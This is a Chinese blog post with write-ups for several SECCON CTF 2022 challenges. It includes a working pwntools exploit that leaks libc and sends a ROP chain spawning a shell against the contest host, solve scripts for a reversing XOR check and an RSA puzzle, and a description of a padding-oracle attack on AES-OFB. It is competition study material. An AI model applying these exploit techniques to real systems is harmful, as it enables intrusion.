• [SECCON CTF 2022] 只两个小题pwn_koncha,rev_babycmp


    从一开始入门CTF,SECCON的名字就如雷贯耳,如今参加了又很失望,距离参加这种比赛还是太远了。只是作了两个100人以上作出来的小题。

    pwn koncha

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char v4[32]; // [rsp+0h] [rbp-50h] BYREF
    4. char v5[48]; // [rsp+20h] [rbp-30h] BYREF
    5. puts("Hello! What is your name?");
    6. __isoc99_scanf("%[^\n]s", v5);
    7. printf("Nice to meet you, %s!\n", v5);
    8. puts("Which country do you live in?");
    9. __isoc99_scanf("%s", v4);
    10. printf("Wow, %s is such a nice country!\n", v4);
    11. puts("It was nice meeting you. Goodbye!");
    12. return 0;
    13. }

    也算是个送分的题,题目很容易看,就两个scanf很显然这里有溢出,只是溢出有一点小限制,猜测第一个会带出一个地址,试了一下猜对了,这里有个小技巧:scanf里取消了回车,如果你输入一个字符,那么里边的残留就会被截断,从而得到不了泄露。这里需要直接输入一个回车,scanf测试到错误跳过。其实就这么一个坑,带出来的是libc 地址,所以不用第二次处理就能直接得到shell了

    1. from pwn import *
    2. #p = process('./p4')
    3. p = remote('koncha.seccon.games', 9001)
    4. context(arch='amd64', log_level='debug')
    5. libc_elf = ELF('./libc-2.31.so')
    6. #gdb.attach(p)
    7. #pause()
    8. p.sendlineafter(b"Hello! What is your name?", b'') #直接回车绕过scanf保留栈内的数据残留
    9. p.recvuntil(b'Nice to meet you, ')
    10. libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f12e8
    11. libc_elf.address = libc_base
    12. print('libc:', hex(libc_base))
    13. pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
    14. bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
    15. pay = b'A'*0x58+ flat(pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])
    16. p.sendlineafter(b"Which country do you live in?\n", pay)
    17. p.interactive()

    rev babycmp

    这个也算简单,虽然用了MM但用得比较少,其实长长型也容易理解,不算是坑

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. const char *v5; // r12
    4. size_t v10; // rax
    5. size_t v11; // rdi
    6. unsigned __int64 v12; // rcx
    7. const char *v13; // rsi
    8. __int64 v14; // rax
    9. unsigned __int64 v15; // rdx
    10. int v16; // r12d
    11. __m128i v18; // [rsp+0h] [rbp-68h]
    12. char v19[8]; // [rsp+10h] [rbp-58h] BYREF
    13. __m128i si128; // [rsp+20h] [rbp-48h]
    14. __m128i v21; // [rsp+30h] [rbp-38h]
    15. int v22; // [rsp+40h] [rbp-28h]
    16. unsigned __int64 v23; // [rsp+48h] [rbp-20h]
    17. v23 = __readfsqword(0x28u);
    18. _RAX = 0LL;
    19. if ( argc <= 1 )
    20. {
    21. v16 = 1;
    22. __printf_chk(1LL, "Usage: %s FLAG\n", *argv);
    23. }
    24. else
    25. {
    26. v5 = argv[1];
    27. __asm { cpuid }
    28. v22 = '8\nA';
    29. strcpy(v19, "N 2022");
    30. si128 = _mm_load_si128((const __m128i *)&xmmword_3140);
    31. v21 = _mm_load_si128((const __m128i *)&xmmword_3150);
    32. v18 = _mm_load_si128((const __m128i *)&xmmword_3160);
    33. v10 = strlen(v5);
    34. v11 = v10;
    35. if ( v10 )
    36. {
    37. *v5 ^= 0x57u;
    38. v12 = 1LL;
    39. if ( v10 != 1 )
    40. {
    41. do
    42. {
    43. v13 = &argv[1][v12];
    44. v14 = v12 / 0x16
    45. + 2 * (v12 / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)v12) >> 64) & 0xFFFFFFFFFFFFFFFCLL));
    46. v15 = v12++;
    47. *v13 ^= v18.m128i_u8[v15 - 2 * v14];
    48. }
    49. while ( v11 != v12 );
    50. }
    51. v5 = argv[1];
    52. }
    53. if ( *(_OWORD *)&si128 == *(_OWORD *)v5 && *(_OWORD *)&v21 == *((_OWORD *)v5 + 1) && *((_DWORD *)v5 + 8) == v22 )
    54. {
    55. v16 = 0;
    56. puts("Correct!");
    57. }
    58. else
    59. {
    60. v16 = 0;
    61. puts("Wrong...");
    62. }
    63. }
    64. return v16;
    65. }

    从流程上看*v13 ^=.... 这是个类似流加密,也就是生成一个流,然后把明文依次与与流异或。它的流是固定的一个串里的值,偏移通过流计算得到。所以直接还原流,就可以用密文直接异或出明文

    1. v1 = bytes.fromhex('2B2D3675357F1A44591E2320202F2004')[::-1]
    2. v2 = bytes.fromhex('362B470401093C150736506D035A1711')[::-1]
    3. v3 = bytes.fromhex('380A41')[::-1]
    4. v18 = bytes.fromhex('4F43434553206F7420656D6F636C6557')[::-1]+b"N 2022"
    5. c = v1+v2+v3
    6. v15 = 35
    7. v12 = 1
    8. m = [c[0]^0x57]
    9. for v12 in range(1,35):
    10. v14 = v12 // 0x16 + 2 * (v12 // 0x16 + (((0x2E8BA2E8BA2E8BA3 * v12) >> 64) & 0xFFFFFFFFFFFFFFFC))
    11. print(v12, v14, v12 - 2*v14)
    12. m.append(c[v12]^ v18[v12-2*v14])
    13. print(m, bytes(m))

    pqpq

    这个作出来的人也很多,可惜这有个坎过不去,等WP了

    原题

    1. from Crypto.Util.number import *
    2. from Crypto.Random import *
    3. from flag import flag
    4. p = getPrime(512)
    5. q = getPrime(512)
    6. r = getPrime(512)
    7. n = p * q * r
    8. e = 2 * 65537
    9. assert n.bit_length() // 8 - len(flag) > 0
    10. padding = get_random_bytes(n.bit_length() // 8 - len(flag))
    11. m = bytes_to_long(padding + flag)
    12. assert m < n
    13. c1p = pow(p, e, n)
    14. c1q = pow(q, e, n)
    15. cm = pow(m, e, n)
    16. c1 = (c1p - c1q) % n
    17. c2 = pow(p - q, e, n)
    18. print(f"e = {e}")
    19. print(f"n = {n}")
    20. # p^e - q^e mod n
    21. print(f"c1 = {c1}")
    22. # (p-q)^e mod n
    23. print(f"c2 = {c2}")
    24. # m^e mod n
    25. print(f"cm = {cm}")

    这里e = 2*65537 显然这是个坑,但是这个坑有点大,超过我的跳跃能力。

    先从头看吧,c1p,c1q分别是p^e,q^e然后得到c1,c2其实这里是为了绕人,这两个值其实就是

    1. c1 = p**e - q**e (mod n)
    2. c2 = (p-q)**e = p**e + q**e (mod n)
    3. c1 + c2 = 2*p**e (mod n)
    4. c2 - c1 = 2*q**e (mod n)

    这样可以直接用gcd根据 c1,c2求出p,q

    然后问题就严重了,e和phi有公因子2,这时候一般由于明文比较小,求出来的就是m**2,但这里加了padding使的明文与n相差不大,所以我就不会了.等wp吧,看了ddl的WP,发现这方法一样啊,这个方法前两天专门写过,怎么我就不对了呢。然后再默写一遍秒成(sage运行)

    1. from Crypto.Util.number import long_to_bytes
    2. e = 131074
    3. n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
    4. c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
    5. c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
    6. cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
    7. #
    8. p = gcd(c1+c2, n)
    9. q = gcd(c2-c1, n)
    10. r = n//p//q
    11. phi = (p-1)*(q-1)*(r-1)
    12. d = inverse_mod(e//2, phi)
    13. m2 = pow(cm,d,n)
    14. #分别对n各因子求
    15. P. = PolynomialRing(Zmod(p))
    16. f = x^2 - m2
    17. f.monic()
    18. res1 = f.roots()
    19. P. = PolynomialRing(Zmod(q))
    20. f = x^2 - m2
    21. f.monic()
    22. res2 = f.roots()
    23. P. = PolynomialRing(Zmod(r))
    24. f = x^2 - m2
    25. f.monic()
    26. res3 = f.roots()
    27. for x in res1:
    28. for y in res2:
    29. for z in res3:
    30. m = CRT([int(x[0]), int(y[0]), int(z[0])],[p,q,r])
    31. #print(m)
    32. flag = long_to_bytes(m)
    33. if b'SEC' in flag:
    34. print(flag)
    35. '''
    36. ┌──(kali㉿kali)-[~/ctf/seccon]
    37. └─$ sage a.sage
    38. b'\x12=\x04q\x9b\xb8\x1c\x10C\x02\x1e\x13`\xac>A\x9c\xf9\x9d\xc2\x83\xc2\xcd\x15\x97\x86\x8e\xd2\x85*s\r\x18~\x9b\xbai\xb1\x07\xacF\x0f\xfcrZ\xf1\xd0\x1f\xb0q\xe4\xbf\xd2\x87G\x1b\xdc\xd2u\x97\xb3\xcc?\xba\xba@\xae\x96\xdc\x1b\x10\xd3\x00f\nH\x99d\xf7{\xea \x82T\xf5\x03\x81\xd0:\r\x8d\xa6P\x92\xa0\x1d\x91n u6}:\x98\r\xa0\xbc\xe5\x84y\x01\x89\xa4P\xf4\xf9\xe4\xf2\x95\x8d\x85\x11\xfezN\x06- e(\x80\xd2\x01\x8e\x94&\xf7amQ\x08@\xd4w\x8e\xbbP\xfa\x17SECCON{being_able_to_s0lve_this_1s_great!}'
    39. '''

    crypto witches_symmetric_exam

    这个题也挺好,题目将flag先进行GCM模式加密再进行OFB模式加密,然后提供解密是否成功的反馈.

    1. from Crypto.Cipher import AES
    2. from Crypto.Random import get_random_bytes
    3. from Crypto.Util.Padding import pad, unpad
    4. from flag import flag, secret_spell
    5. key = get_random_bytes(16)
    6. nonce = get_random_bytes(16)
    7. def encrypt():
    8. data = secret_spell
    9. gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    10. gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data) #CTR+消息验证码(?)
    11. ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)
    12. ofb_iv = get_random_bytes(16)
    13. ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv) #OFB
    14. ciphertext = ofb_cipher.encrypt(ofb_input)
    15. return ofb_iv + ciphertext
    16. def decrypt(data):
    17. ofb_iv = data[:16]
    18. ofb_ciphertext = data[16:]
    19. ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
    20. try:
    21. m = ofb_cipher.decrypt(ofb_ciphertext)
    22. temp = unpad(m, 16) #从最后一位padding
    23. except:
    24. return b"ofb error"
    25. try:
    26. gcm_tag = temp[:16]
    27. gcm_nonce = temp[16:32]
    28. gcm_ciphertext = temp[32:]
    29. gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)
    30. plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    31. except:
    32. return b"gcm error"
    33. if b"give me key" == plaintext:
    34. your_spell = input("ok, please say secret spell:").encode()
    35. if your_spell == secret_spell:
    36. return flag
    37. else:
    38. return b"Try Harder"
    39. return b"ok"
    40. print(f"ciphertext: {encrypt().hex()}")
    41. while True:
    42. c = input("ciphertext: ")
    43. print(decrypt(bytes.fromhex(c)))

    后一步是OFB,这种模式只加密生成z流,明文跟它异或得到密文,只需要爆破得到z流就可以进行加解密.

    得到z的方法就是padding oracle,简单的说如果一断密文结束了,那么最后一个一定是padding如果每段是16字符,明文差3个不够16就在后边被3个3,爆破的方法就是从最后一位改,如果它不报错了就说明末位是1,也就得到了最后一位z然后将最后两位改为2(最后一位得到z后可以算出来,所以需要爆破的是倒数第2位)这样16*256次就能得到一断的z,然后依次向前爆就行了.

    可以后边一步GCM会运算一个校验码这个就不会整了,等WP .

    后边都看了,都不会,等着吧.

  • 相关阅读:
    day35贪心算法part03| 1005.K次取反后最大化的数组和 134. 加油站 135. 分发糖果
    使用Python爬虫抓取和分析招聘网站数据
    TMD,JVM类加载原来是这样的!!!!
    Telegraf 使用小结
    html实现计算器源码
    Linux C/C++ 学习笔记(七):DNS协议与请求
    基于HMM的拼音输入法
    59 张高清大图,带你实战入门 KubeSphere DevOps
    第4周学习:MobileNetV1, V2, V3
    git常用操作汇总
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/127854130